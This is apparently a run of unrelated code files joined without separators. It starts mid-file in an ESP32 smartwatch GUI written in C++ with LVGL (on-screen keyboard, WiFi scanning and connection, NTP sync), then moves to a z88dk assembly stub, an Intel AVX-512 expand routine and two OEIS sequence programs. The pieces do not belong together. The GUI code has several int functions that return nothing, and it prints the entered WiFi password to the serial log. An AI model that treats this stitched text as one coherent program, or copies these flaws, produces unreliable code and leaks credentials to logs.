(&shadowStyle, LV_STATE_DEFAULT, LV_COLOR_BLACK); lv_style_set_image_recolor_opa (&shadowStyle, LV_STATE_DEFAULT, LV_OPA_100); lv_style_set_image_opa (&shadowStyle, LV_STATE_DEFAULT, 63); // LV_OPA_25ish! lv_style_set_border_width (&shadowStyle, LV_OBJ_PART_MAIN, 0); lv_obj_add_style (hfd->hourShadow, LV_IMG_PART_MAIN, &shadowStyle); lv_obj_add_style (hfd->minShadow, LV_IMG_PART_MAIN, &shadowStyle); lv_obj_add_style (hfd->secShadow, LV_IMG_PART_MAIN, &shadowStyle); hfd->timeTask = nullptr; updateTobyFace (idx); } /***************************************************************** * * ! Keyboard Class * */ class Keyboard { public: typedef enum { KB_EVENT_OK, KB_EVENT_EXIT, } kb_event_t; typedef void (*kb_event_cb)(kb_event_t event); Keyboard() { _kbCont = nullptr; }; ~Keyboard() { if (_kbCont) lv_obj_del(_kbCont); _kbCont = nullptr; }; void create(lv_obj_t *parent = nullptr) { static lv_style_t kbStyle; int height = LV_VER_RES; log_d ("parent=%p", parent); lv_style_init(&kbStyle); lv_style_set_radius(&kbStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_bg_color(&kbStyle, LV_OBJ_PART_MAIN, LV_COLOR_GRAY); lv_style_set_bg_opa(&kbStyle, LV_OBJ_PART_MAIN, LV_OPA_0); lv_style_set_border_width(&kbStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_text_color(&kbStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); lv_style_set_image_recolor(&kbStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); if (parent == nullptr) { parent = lv_scr_act(); } _kbCont = lv_cont_create(parent, NULL); lv_obj_set_size(_kbCont, LV_HOR_RES, height); lv_obj_set_pos(_kbCont, 0, 30); lv_obj_add_style(_kbCont, LV_OBJ_PART_MAIN, &kbStyle); _kbPage = lv_page_create(_kbCont, NULL); lv_page_set_scrlbar_mode(_kbPage, LV_SCROLLBAR_MODE_OFF); lv_obj_set_size (_kbPage, LV_HOR_RES, height - 20); lv_obj_set_pos(_kbPage, 0, 20); lv_page_set_scrl_width(_kbPage,480); lv_page_set_scrl_height(_kbPage,190); lv_obj_t *ta = lv_textarea_create(_kbCont, NULL); lv_obj_set_height(ta, 20); lv_obj_set_pos(ta, 0, 0); lv_textarea_set_one_line(ta, true); lv_textarea_set_pwd_mode(ta, false); lv_textarea_set_text(ta, ""); lv_obj_t *kb = lv_keyboard_create(_kbPage, NULL); lv_obj_set_pos(ta, 0, 0); lv_obj_set_height(kb, height - 20); lv_obj_set_width(kb, 480); lv_obj_move_foreground (_kbCont); lv_obj_set_pos (kb, 0, 0); lv_keyboard_set_textarea(kb, ta); lv_obj_add_style(kb, LV_OBJ_PART_MAIN, &kbStyle); lv_obj_set_x(lv_page_get_scrollable(_kbPage), 0); lv_obj_set_event_cb(kb, __kb_event_cb); _kb = this; } void align(const lv_obj_t *base, lv_align_t align, lv_coord_t x = 0, lv_coord_t y = 0) { lv_obj_set_pos (_kbCont, 0, 0); lv_obj_move_foreground (_kbCont); } static void __kb_event_cb(lv_obj_t *kb, lv_event_t event) { if (event != LV_EVENT_VALUE_CHANGED && event != LV_EVENT_LONG_PRESSED_REPEAT) return; lv_keyboard_ext_t *ext = (lv_keyboard_ext_t *)lv_obj_get_ext_attr(kb); const char *txt = lv_btnmatrix_get_active_btn_text(kb); if (txt == NULL) return; static int index = 0; if ((strcmp(txt, LV_SYMBOL_OK) == 0) || (strcmp(txt, "Enter") == 0) || (strcmp(txt, LV_SYMBOL_NEW_LINE) == 0)){ strcpy(__buf, lv_textarea_get_text(ext->ta)); if (_kb->_cb != nullptr) { _kb->_cb(KB_EVENT_OK); } return; } else if ((LV_EVENT_CANCEL == event) || (strcmp(txt, LV_SYMBOL_CLOSE) == 0)) { if (_kb->_cb != nullptr) { _kb->_cb(KB_EVENT_EXIT); } return; } else if (strcmp(txt, LV_SYMBOL_LEFT) == 0) { log_i("LV_SYMBOL_LEFT before=%d",lv_obj_get_x(lv_page_get_scrollable(_kb->_kbPage))); lv_page_scroll_hor(_kb->_kbPage, lv_obj_get_x(lv_page_get_scrollable(_kb->_kbPage)) - 240); delay(250); log_i ("LV_SYMBOL_LEFT after=%d", lv_obj_get_x(lv_page_get_scrollable(_kb->_kbPage))); } else if (strcmp(txt, LV_SYMBOL_RIGHT) == 0) { log_i("LV_SYMBOL_RIGHT before=%d", lv_obj_get_x(lv_page_get_scrollable(_kb->_kbPage))); lv_page_scroll_hor(_kb->_kbPage, lv_obj_get_x(lv_page_get_scrollable(_kb->_kbPage)) *-1); delay(250); log_i("LV_SYMBOL_RIGHT after=%d", lv_obj_get_x(lv_page_get_scrollable(_kb->_kbPage))); } else { lv_keyboard_def_event_cb(kb, event); } } void setKeyboardEvent(kb_event_cb cb) { _cb = cb; } const char *getText() { return (const char *)__buf; } void hidden(bool en = true) { lv_obj_set_hidden(_kbCont, en); } private: lv_obj_t *_kbPage = nullptr; lv_obj_t *_kbCont = nullptr; kb_event_cb _cb = nullptr; static const char *btnm_mapplus[10][23]; static Keyboard *_kb; static char __buf[128]; }; Keyboard *Keyboard::_kb = nullptr; char Keyboard::__buf[128]; /***************************************************************** * * ! Switch Class * */ class Switch { public: typedef struct { const char *name; void (*cb)(uint8_t, bool); } switch_cfg_t; typedef void (*exit_cb)(); Switch() { _swCont = nullptr; } ~Switch() { if (_swCont) lv_obj_del(_swCont); _swCont = nullptr; } void create(switch_cfg_t *cfg, uint8_t count, exit_cb cb, lv_obj_t *parent = nullptr) { static lv_style_t swlStyle; lv_style_init(&swlStyle); lv_style_set_radius(&swlStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_bg_color(&swlStyle, LV_OBJ_PART_MAIN, LV_COLOR_GRAY); lv_style_set_bg_opa(&swlStyle, LV_OBJ_PART_MAIN, LV_OPA_0); lv_style_set_border_width(&swlStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_border_opa(&swlStyle, LV_OBJ_PART_MAIN, LV_OPA_50); lv_style_set_text_color(&swlStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); lv_style_set_image_recolor(&swlStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); if (parent == nullptr) { parent = lv_scr_act(); _swCont = lv_cont_create(parent, NULL); lv_obj_set_size(_swCont, LV_HOR_RES, LV_VER_RES - 30); lv_obj_align(_swCont, NULL, LV_ALIGN_CENTER, 0, 0); lv_obj_add_style(_swCont, LV_OBJ_PART_MAIN, &swlStyle); } else _swCont = parent; _exit_cb = cb; _count = count; _sw = new lv_obj_t *[count]; _cfg = new switch_cfg_t [count]; memcpy(_cfg, cfg, sizeof(switch_cfg_t) * count); lv_obj_t *prev = nullptr; for (int i = 0; i < count; i++) { lv_obj_t *la1 = lv_label_create(_swCont, NULL); lv_label_set_text(la1, cfg[i].name); i == 0 ? lv_obj_align(la1, NULL, LV_ALIGN_IN_TOP_LEFT, 30, 20) : lv_obj_align(la1, prev, LV_ALIGN_OUT_BOTTOM_MID, 0, 20); _sw[i] = lv_imgbtn_create(_swCont, NULL); lv_imgbtn_set_src(_sw[i], LV_BTN_STATE_RELEASED, &off); lv_imgbtn_set_src(_sw[i], LV_BTN_STATE_PRESSED, &off); lv_imgbtn_set_src(_sw[i], LV_BTN_STATE_CHECKED_RELEASED, &off); lv_imgbtn_set_src(_sw[i], LV_BTN_STATE_CHECKED_PRESSED, &off); lv_obj_set_click(_sw[i], true); lv_obj_align(_sw[i], la1, LV_ALIGN_OUT_RIGHT_MID, 80, 0); lv_obj_set_event_cb(_sw[i], __switch_event_cb); prev = la1; } _switch = this; } void align(const lv_obj_t *base, lv_align_t align, lv_coord_t x = 0, lv_coord_t y = 0) { lv_obj_align(_swCont, base, align, x, y); } void hidden(bool en = true) { lv_obj_set_hidden(_swCont, en); } static void __switch_event_cb(lv_obj_t *obj, lv_event_t event) { log_d ("obj=%p, event=%d: %s", obj, event, decodeEvent (event)); if (event == LV_EVENT_SHORT_CLICKED) { for (int i = 0; i < _switch->_count ; i++) { lv_obj_t *sw = _switch->_sw[i]; if (obj == sw) { const void *src = lv_imgbtn_get_src(sw, LV_BTN_STATE_RELEASED); const void *dst = src == &off ? &on : &off; bool en = src == &off; lv_imgbtn_set_src(sw, LV_BTN_STATE_RELEASED, dst); lv_imgbtn_set_src(sw, LV_BTN_STATE_PRESSED, dst); lv_imgbtn_set_src(sw, LV_BTN_STATE_CHECKED_RELEASED, dst); lv_imgbtn_set_src(sw, LV_BTN_STATE_CHECKED_PRESSED, dst); if (_switch->_cfg[i].cb != nullptr) { _switch->_cfg[i].cb(i, en); } return; } } } } void setStatus(uint8_t index, bool en) { if (index > _count)return; lv_obj_t *sw = _sw[index]; const void *dst = en ? &on : &off; lv_imgbtn_set_src(sw, LV_BTN_STATE_RELEASED, dst); lv_imgbtn_set_src(sw, LV_BTN_STATE_PRESSED, dst); lv_imgbtn_set_src(sw, LV_BTN_STATE_CHECKED_RELEASED, dst); lv_imgbtn_set_src(sw, LV_BTN_STATE_CHECKED_PRESSED, dst); } private: static Switch *_switch; lv_obj_t *_swCont = nullptr; uint8_t _count; lv_obj_t **_sw = nullptr; switch_cfg_t *_cfg = nullptr; lv_obj_t *_exitBtn = nullptr; exit_cb _exit_cb = nullptr; }; Switch *Switch::_switch = nullptr; /***************************************************************** * * ! Preload Class * */ class Preload { public: Preload() { _preloadCont = nullptr; } ~Preload() { if (_preloadCont == nullptr) return; lv_obj_del(_preloadCont); _preloadCont = nullptr; } void create(lv_obj_t *parent = nullptr) { log_d ("Preload parent=%p", parent); if (parent == nullptr) { parent = lv_scr_act(); } if (_preloadCont == nullptr) { static lv_style_t plStyle; lv_style_init(&plStyle); lv_style_set_radius(&plStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_bg_color(&plStyle, LV_OBJ_PART_MAIN, LV_COLOR_GRAY); lv_style_set_bg_opa(&plStyle, LV_OBJ_PART_MAIN, LV_OPA_0); lv_style_set_border_width(&plStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_text_color(&plStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); lv_style_set_image_recolor(&plStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); static lv_style_t style; lv_style_init(&style); lv_style_set_radius(&style, LV_OBJ_PART_MAIN, 0); lv_style_set_bg_color(&style, LV_OBJ_PART_MAIN, LV_COLOR_GRAY); lv_style_set_bg_opa(&style, LV_OBJ_PART_MAIN, LV_OPA_0); lv_style_set_border_width(&style, LV_OBJ_PART_MAIN, 0); lv_style_set_text_color(&style, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); lv_style_set_image_recolor(&style, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); _preloadCont = lv_cont_create(parent, NULL); lv_obj_set_size(_preloadCont, LV_HOR_RES, LV_VER_RES - 30); lv_obj_align(_preloadCont, NULL, LV_ALIGN_OUT_BOTTOM_MID, 0, 0); lv_obj_add_style(_preloadCont, LV_OBJ_PART_MAIN, &plStyle); lv_obj_t *preload = lv_spinner_create(_preloadCont, NULL); lv_obj_set_size(preload, lv_obj_get_width(_preloadCont) / 2, lv_obj_get_height(_preloadCont) / 2); lv_obj_add_style(preload, LV_OBJ_PART_MAIN, &style); lv_obj_align(preload, _preloadCont, LV_ALIGN_CENTER, 0, 0); } } void align(const lv_obj_t *base, lv_align_t align, lv_coord_t x = 0, lv_coord_t y = 0) { lv_obj_move_foreground (_preloadCont); lv_obj_set_pos(_preloadCont, 0, 0); } void hidden(bool en = true) { lv_obj_set_hidden(_preloadCont, en); } private: lv_obj_t *_preloadCont = nullptr; }; /***************************************************************** * * ! List Class * */ class List { public: typedef void(*list_event_cb)(const char *); List() { } ~List() { if (_listCont == nullptr) return; lv_obj_del(_listCont); _listCont = nullptr; } void create(lv_obj_t *parent = nullptr) { log_d ("List parent=%p", parent); if (parent == nullptr) { parent = lv_scr_act(); } if (_listCont == nullptr) { static lv_style_t listStyle; lv_style_init(&listStyle); lv_style_set_radius(&listStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_bg_color(&listStyle, LV_OBJ_PART_MAIN, LV_COLOR_GRAY); lv_style_set_bg_opa(&listStyle, LV_OBJ_PART_MAIN, LV_OPA_0); lv_style_set_border_width(&listStyle, LV_OBJ_PART_MAIN, 0); lv_style_set_text_color(&listStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); lv_style_set_image_recolor(&listStyle, LV_OBJ_PART_MAIN, LV_COLOR_WHITE); _listCont = lv_list_create(lv_scr_act(), NULL); lv_list_set_scrollbar_mode(_listCont, LV_SCROLLBAR_MODE_OFF); lv_obj_set_size(_listCont, LV_HOR_RES, LV_VER_RES - 30); lv_obj_add_style(_listCont, LV_OBJ_PART_MAIN, &listStyle); lv_obj_align(_listCont, NULL, LV_ALIGN_CENTER, 0, 0); } _list = this; } void add(const char *txt, void *imgsrc = (void *)LV_SYMBOL_WIFI) { lv_obj_t *btn = lv_list_add_btn(_listCont, imgsrc, txt); lv_obj_set_event_cb(btn, __list_event_cb); } void align(const lv_obj_t *base, lv_align_t align, lv_coord_t x = 0, lv_coord_t y = 0) { lv_obj_set_pos (_listCont, 0, 0); lv_obj_move_foreground (_listCont); } void hidden(bool en = true) { lv_obj_set_hidden(_listCont, en); } static void __list_event_cb(lv_obj_t *obj, lv_event_t event) { if (event == LV_EVENT_SHORT_CLICKED) { const char *txt = lv_list_get_btn_text(obj); if (_list->_cb != nullptr) { _list->_cb(txt); } } } void setListCb(list_event_cb cb) { _cb = cb; } private: lv_obj_t *_listCont = nullptr; static List *_list ; list_event_cb _cb = nullptr; }; List *List::_list = nullptr; /***************************************************************** * * ! Task Class * */ class Task { public: Task() { _handler = nullptr; _cb = nullptr; } ~Task() { if ( _handler == nullptr)return; Serial.println("Free Task Func"); lv_task_del(_handler); _handler = nullptr; _cb = nullptr; } void create(lv_task_cb_t cb, uint32_t period = 1000, lv_task_prio_t prio = LV_TASK_PRIO_LOW) { _handler = lv_task_create(cb, period, prio, NULL); }; private: lv_task_t *_handler = nullptr; lv_task_cb_t _cb = nullptr; }; /***************************************************************** * * ! MesBox Class * */ class MBox { public: MBox() { _mbox = nullptr; } ~MBox() { if (_mbox == nullptr)return; lv_obj_del(_mbox); _mbox = nullptr; } void create(const char *text, lv_event_cb_t event_cb, const char **btns = nullptr, lv_obj_t *par = nullptr) { if (_mbox != nullptr)return; lv_obj_t *p = par == nullptr ? lv_scr_act() : par; _mbox = lv_msgbox_create(p, NULL); lv_msgbox_set_text(_mbox, text); if (btns == nullptr) { static const char *defBtns[] = {"Ok", ""}; lv_msgbox_add_btns(_mbox, defBtns); } else { lv_msgbox_add_btns(_mbox, btns); } lv_obj_set_width(_mbox, LV_HOR_RES - 40); lv_obj_set_event_cb(_mbox, event_cb); lv_obj_align(_mbox, NULL, LV_ALIGN_CENTER, 0, 0); } void setData(void *data) { lv_obj_set_user_data(_mbox, data); } void *getData() { return lv_obj_get_user_data(_mbox); } void setBtn(const char **btns) { lv_msgbox_add_btns(_mbox, btns); } private: lv_obj_t *_mbox = nullptr; }; /***************************************************************** * * ! GLOBAL VALUE * */ static Keyboard *kb = nullptr; static Switch *sw = nullptr; static Preload *pl = nullptr; static List *list = nullptr; static Task *task = nullptr; static Ticker *gTicker = nullptr; static MBox *mbox = nullptr; static char ssid[64], password[64]; /***************************************************************** * * !WIFI EVENT * */ void wifi_connect_status(bool result) { log_d ("result=%d", result); if (gTicker != nullptr) { delete gTicker; gTicker = nullptr; } if (kb != nullptr) { delete kb; kb = nullptr; } if (pl != nullptr) { delete pl; pl = nullptr; } if (result) { bar.show(LV_STATUS_BAR_WIFI); } else { bar.hidden(LV_STATUS_BAR_WIFI); } } void wifi_kb_event_cb(Keyboard::kb_event_t event) { log_d ("keyboardEvent=%d", event); if (event == 0) { kb->hidden(); Serial.println(kb->getText()); strlcpy(password, kb->getText(), sizeof(password)); pl->hidden(false); WiFi.mode(WIFI_STA); WiFi.disconnect(); WiFi.begin(ssid, password); gTicker = new Ticker; gTicker->once_ms(5 * 1000, []() { wifi_connect_status(false); }); } else if (event == 1) { delete kb; delete pl; pl = nullptr; kb = nullptr; } } //dw void printLocalTime(){ struct tm timeinfo; if(!getLocalTime(&timeinfo)){ Serial.println("Failed to obtain time"); return; } Serial.println(&timeinfo, "%A, %B %d %Y %H:%M:%S"); Serial.print("Day of week: "); Serial.println(&timeinfo, "%A"); Serial.print("Month: "); Serial.println(&timeinfo, "%B"); Serial.print("Day of Month: "); Serial.println(&timeinfo, "%d"); Serial.print("Year: "); Serial.println(&timeinfo, "%Y"); Serial.print("Hour: "); Serial.println(&timeinfo, "%H"); Serial.print("Hour (12 hour format): "); Serial.println(&timeinfo, "%I"); Serial.print("Minute: "); Serial.println(&timeinfo, "%M"); Serial.print("Second: "); Serial.println(&timeinfo, "%S"); Serial.println("Time variables"); char timeHour[3]; strftime(timeHour,3, "%H", &timeinfo); Serial.println(timeHour); char timeWeekDay[10]; strftime(timeWeekDay,10, "%A", &timeinfo); Serial.println(timeWeekDay); Serial.println(); } //dw bool getNTPtime(int sec) { { uint32_t start = millis(); do { time(&now); localtime_r(&now, &timeinfo); Serial.print("."); delay(10); } while (((millis() - start) <= (1000 * sec)) && (timeinfo.tm_year < (2016 - 1900))); if (timeinfo.tm_year <= (2016 - 1900)) return false; // the NTP call was not successful Serial.print("now "); Serial.println(now); char time_output[30]; strftime(time_output, 30, "NTP %a %d-%m-%y %T", localtime(&now)); Serial.println(time_output); Serial.println(); } return true; } void showTime(tm localTime) { Serial.print(localTime.tm_mday); Serial.print('/'); Serial.print(localTime.tm_mon + 1); Serial.print('/'); Serial.print(localTime.tm_year - 100); Serial.print('-'); Serial.print(localTime.tm_hour); Serial.print(':'); Serial.print(localTime.tm_min); Serial.print(':'); Serial.print(localTime.tm_sec); Serial.print(" Day of Week "); if (localTime.tm_wday == 0) Serial.println(7); else Serial.println(localTime.tm_wday); } // static void wifi_sync_mbox_cb(lv_task_t *t) { static struct tm timeinfo; bool ret = false; static int retry = 0; // configTzTime(RTC_TIME_ZONE, "pool.ntp.org"); /* * // dw // Init and get the time long gmtOffset_sec, daylightOffset_sec; gmtOffset_sec = -10 * 3600; daylightOffset_sec = 300; Serial.println(&timeinfo, "%A, %B %d %Y %H:%M:%S"); configTime(gmtOffset_sec, daylightOffset_sec, "au.pool.ntp.org"); Serial.println(&timeinfo, "%A, %B %d %Y %H:%M:%S"); */ configTime(0, 0, NTP_SERVER); // See https://github.com/nayarsystems/posix_tz_db/blob/master/zones.csv for Timezone codes for your region setenv("TZ", TZ_INFO, 1); if (getNTPtime(20)) { // wait up to 10sec to sync } else { Serial.println("Time not set"); // ESP.restart(); } showTime(timeinfo); Serial.println("a "); Serial.print("now "); Serial.println(now); lastNTPtime = time(&now); lastEntryTime = millis(); //dw log_d ("task=%0", t); while (1) { // ret = getLocalTime(&timeinfo); ret = getNTPtime(10); if (!ret) { Serial.printf("get ntp fail,retry : %d \n", retry++); } else { //! del preload delete pl; pl = nullptr; char format[256]; snprintf(format, sizeof(format), "Time acquired is: %d-%d-%d/%d:%d:%d, Want to synchronize?", timeinfo.tm_year + 1900, timeinfo.tm_mon + 1, timeinfo.tm_mday, timeinfo.tm_hour, timeinfo.tm_min, timeinfo.tm_sec); Serial.println(format); delete task; task = nullptr; //! mbox static const char *btns[] = {"Ok", "Cancel", ""}; mbox = new MBox; mbox->create(format, [](lv_obj_t *obj, lv_event_t event) { if (event == LV_EVENT_VALUE_CHANGED) { const char *txt = lv_msgbox_get_active_btn_text(obj); if (!strcmp(txt, "Ok")) { //!sync to rtc struct tm *info = (struct tm *)mbox->getData(); Serial.printf("read use data = %d:%d:%d - %d:%d:%d \n", info->tm_year + 1900, info->tm_mon + 1, info->tm_mday, info->tm_hour, info->tm_min, info->tm_sec); TTGOClass *ttgo = TTGOClass::getWatch(); ttgo->rtc->setDateTime(info->tm_year + 1900, info->tm_mon + 1, info->tm_mday, info->tm_hour, info->tm_min, info->tm_sec); } else if (!strcmp(txt, "Cancel")) { //!cancel // Serial.println("Cancel press"); } delete mbox; mbox = nullptr; } }); mbox->setBtn(btns); mbox->setData(&timeinfo); return; } } } void wifi_sw_event_cb(uint8_t index, bool en) { log_d ("index=%d, en=%d", index, en); switch (index) { case 0: if (en) { defaultCpuFrequency = CPU_FREQ_MEDIUM; setCpuFrequencyMhz (defaultCpuFrequency); WiFi.begin(); } else { WiFi.disconnect(); bar.hidden(LV_STATUS_BAR_WIFI); } break; case 1: if (en) { pl = new Preload; pl->create(); pl->align (lv_scr_act(), LV_ALIGN_OUT_BOTTOM_MID); WiFi.disconnect(); WiFi.scanNetworks(true); } break; case 2: if (en) { if (!WiFi.isConnected()) { //TODO pop-up window Serial.println("WiFi is not connected"); return; } else { if (task != nullptr) { Serial.println("task is running ..."); return; } task = new Task; task->create(wifi_sync_mbox_cb); pl = new Preload; pl->create(); pl->align (lv_scr_act(), LV_ALIGN_OUT_BOTTOM_MID); } } break; default: break; } } void wifi_list_cb(const char *txt) { log_d ("txt=%s", txt); strlcpy(ssid, txt, sizeof(ssid)); delete list; list = nullptr; kb = new Keyboard; kb->create(); kb->align (lv_scr_act(), LV_ALIGN_OUT_BOTTOM_MID); kb->setKeyboardEvent(wifi_kb_event_cb); } void wifi_list_add(const char *ssid) { if (list == nullptr) { pl->hidden(); list = new List; list->create(); list->align (lv_scr_act(), LV_ALIGN_OUT_BOTTOM_MID); list->setListCb(wifi_list_cb); } list->add(ssid); } int createRowTitle (lv_obj_t *parent, const lv_img_dsc_t *image, char *name) { lv_obj_t *img = lv_img_create (parent, NULL); lv_img_set_src (img, image); lv_obj_align(img, parent, LV_ALIGN_CENTER, 0, 0); lv_obj_t *label = lv_label_create (parent, NULL); lv_label_set_text (label, name); lv_obj_align (label, img, LV_ALIGN_OUT_BOTTOM_MID, 0, 0); } int createAbout (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; log_d ("idx=%d", idx); createRowTitle (parentObj, &modules, "About"); } int createWiFi (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; log_d ("idx=%d", idx); createRowTitle (parentObj, &wifi, "WiFi"); } int createWiFiSwitches (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; log_d ("idx=%d", idx); Switch::switch_cfg_t cfg[3] = {{"Switch", wifi_sw_event_cb}, {"Scan", wifi_sw_event_cb}, {"NTP Sync", wifi_sw_event_cb}}; sw = new Switch; sw->create(cfg, 3, nullptr, parentObj); sw->align(parentObj, LV_ALIGN_IN_TOP_MID); sw->setStatus(0, WiFi.isConnected()); } /***************************************************************** * * ! MBOX EVENT * */ static lv_obj_t *mbox1 = nullptr; static void create_mbox(const char *txt, lv_event_cb_t event_cb) { if (mbox1 != nullptr)return; static const char *btns[] = {"Ok", ""}; mbox1 = lv_msgbox_create(lv_scr_act(), NULL); lv_msgbox_set_text(mbox1, txt); lv_msgbox_add_btns(mbox1, btns); lv_obj_set_width(mbox1, LV_HOR_RES - 40); lv_obj_set_event_cb(mbox1, event_cb); lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); } static void destory_mbox() { if (pl != nullptr) { delete pl; pl = nullptr; } if (list != nullptr) { delete list; list = nullptr; } if (mbox1 != nullptr) { lv_obj_del(mbox1); mbox1 = nullptr; } } /***************************************************************** * * About EVENT * * Need to develop a more generic widget container that combines List, Table and * ButtonMatrix widgets - probably based upon the Switch and List classes in this * gui.cpp file. */ static lv_obj_t *about = nullptr; static int onEntryAbout (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; lv_obj_t *label = (lv_obj_t *)(tileDesc[idx].data); log_d ("idx=%d", idx); lv_label_set_text_fmt (label, "\nagoodWatch %s\n(C) copyright Alex Goodyear\n%s\n\nCPU speed=%dMHz\nFree mem=%d", THIS_VERSION_STR, __DATE__, getCpuFrequencyMhz(), esp_get_free_heap_size()); lv_obj_align (label, parentObj, LV_ALIGN_IN_TOP_MID, 0, 0); } int createAboutInfo (int idx) { lv_obj_t *parentObj = tileDesc[idx].tile; lv_obj_t *label = lv_label_create (parentObj, NULL); log_d ("idx=%d", idx); lv_obj_add_style (label, LV_OBJ_PART_MAIN, &settingStyle); lv_obj_align (label, parentObj, LV_ALIGN_IN_TOP_MID, 0, 0); tileDesc[idx].data = (void *)label; tileDesc[idx].onEntry = onEntryAbout; }
; char *strrstrip(char *s) SECTION code_clib SECTION code_string PUBLIC strrstrip EXTERN asm_strrstrip defc strrstrip = asm_strrstrip
; ; Copyright (C) 2021 by Intel Corporation ; ; Permission to use, copy, modify, and/or distribute this software for any ; purpose with or without fee is hereby granted. ; ; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH ; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY ; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, ; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM ; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR ; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR ; PERFORMANCE OF THIS SOFTWARE. ; ; .globl expand_avx512 ; void expand_avx512(int32_t *out, int32_t *in, size_t N); ; On entry: ; rcx = a ; rdx = b ; r8 = N .code expand_avx512 PROC public push r12 ; mov rdx, input ; mov rcx, output mov r9, r8 ; mov r9, len xor r8, r8 xor r10, r10 vpxord zmm0, zmm0, zmm0 mainloop: vmovdqa32 zmm1, zmmword ptr[rdx+r8*4] vpcmpgtd k1, zmm1, zmm0 vmovdqu32 zmm1, zmmword ptr[rdx+r10*4] vpexpandd zmm2 {k1}{z}, zmm1 vmovdqu32 zmmword ptr[rcx+r8*4], zmm2 add r8, 16 kmovd r11d, k1 popcnt r12, r11 add r10, r12 cmp r8, r9 jne mainloop pop r12 vzeroupper ret expand_avx512 ENDP end
; A100051: A Chebyshev transform of 1,1,1,... ; 1,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2 add $0,1 mul $0,2 sub $0,3 div $0,2 mov $1,1 mov $2,1 lpb $0 sub $0,1 add $2,$1 sub $1,$2 lpe
; A063139: Composite numbers which in base 3 contain their largest proper factor as a substring. ; 9,15,21,27,33,39,45,49,51,57,63,69,75,81,87,93,99,105,111,117,123,129,135,141,147,153,159,165,171,177,183,189,195,201,207,213,219,225,231,237,243,249,255,261,267,273,279,285,291,297 mov $2,$0 trn $0,6 pow $0,2 mov $1,3 trn $1,$0 mul $1,2 add $1,3 mov $3,$2 mul $3,6 add $1,$3